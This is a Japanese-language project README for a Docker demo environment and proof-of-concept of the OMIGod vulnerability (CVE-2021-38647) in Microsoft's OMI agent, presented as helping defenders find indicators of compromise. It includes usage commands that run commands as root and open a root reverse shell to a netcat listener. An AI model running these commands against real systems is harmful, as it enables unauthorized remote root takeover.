
OMIGod / CVE-2021-38647 POC および デモ環境
Open Management Infrastructure(OMI、旧称NanoWBEM)は、MicrosoftとThe Open GroupによるオープンソースのCommon Interface Model(CMI)管理サーバです。OMIは、ほとんどのAzure Linux VMに存在するソフトウェアエージェントですが、その存在を知らない人も多くいます。
9月14日、Wiz Research TeamはOMIの4つの脆弱性を詳述した記事を公開しました。これらの脆弱性は容易に悪用可能であるとされており、攻撃者は単一のリクエストで任意のリモートコード実行とroot権限への昇格を可能にします。
CVE-2021-38647は、細工されたHTTPリクエストを送信することで悪用される認証不要のRCE脆弱性です。CVE-2021-38647により、攻撃者はOMIエージェントのユーザ(通常はroot)としてコマンドを実行できます。
OMIエージェントは、以下のサービスが使用されているAzure Linuxサーバで広く利用されています:
Microsoftによると、OMIを使用するほとんどのAzureサービスは、HTTP/Sポートを公開せずにデプロイされています。
このプロジェクトの目的は、ブルーチームがIoCをより簡単に見つけられるよう、容易に再現可能なデモ環境を作成することです。この目的を達成するために、脆弱なバージョンのOMIを設定したカスタムDockerイメージを作成します。
セットアップによっては、sudoが必要な場合があります。
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
これで、Dockerコンテナのrootターミナルが使用できるようになります。DockerコンテナのIPアドレスを取得する必要があります。これは次のコマンドで行えます:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
この設定が完了したら、任意のPoCを実行してみることができます。このプロジェクトのPoCを実行するには、次のコマンドを実行します:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
IppSecのこのエクスプロイトと同様の環境のセットアップに関する動画 - https://www.youtube.com/watch?v=TXqi1BKtcyM このプロジェクトの環境セットアップはIppSecの動画に基づいています。
horizon3aiのPoC - https://github.com/horizon3ai/CVE-2021-38647 このプロジェクトのPoCはhorizon3aiのPoCに基づいています。
詳細については、元の研究者の成果を参照してください:https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
v1.6.8-1未満のすべてのOMIバージョンが影響を受けます。
このエクスプロイトを修正したパッチ済みバージョンが公開されています。バージョンを1.6.8.1以上に更新してください。
このソフトウェアは、学術研究および効果的な防御技術の開発を目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトのメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。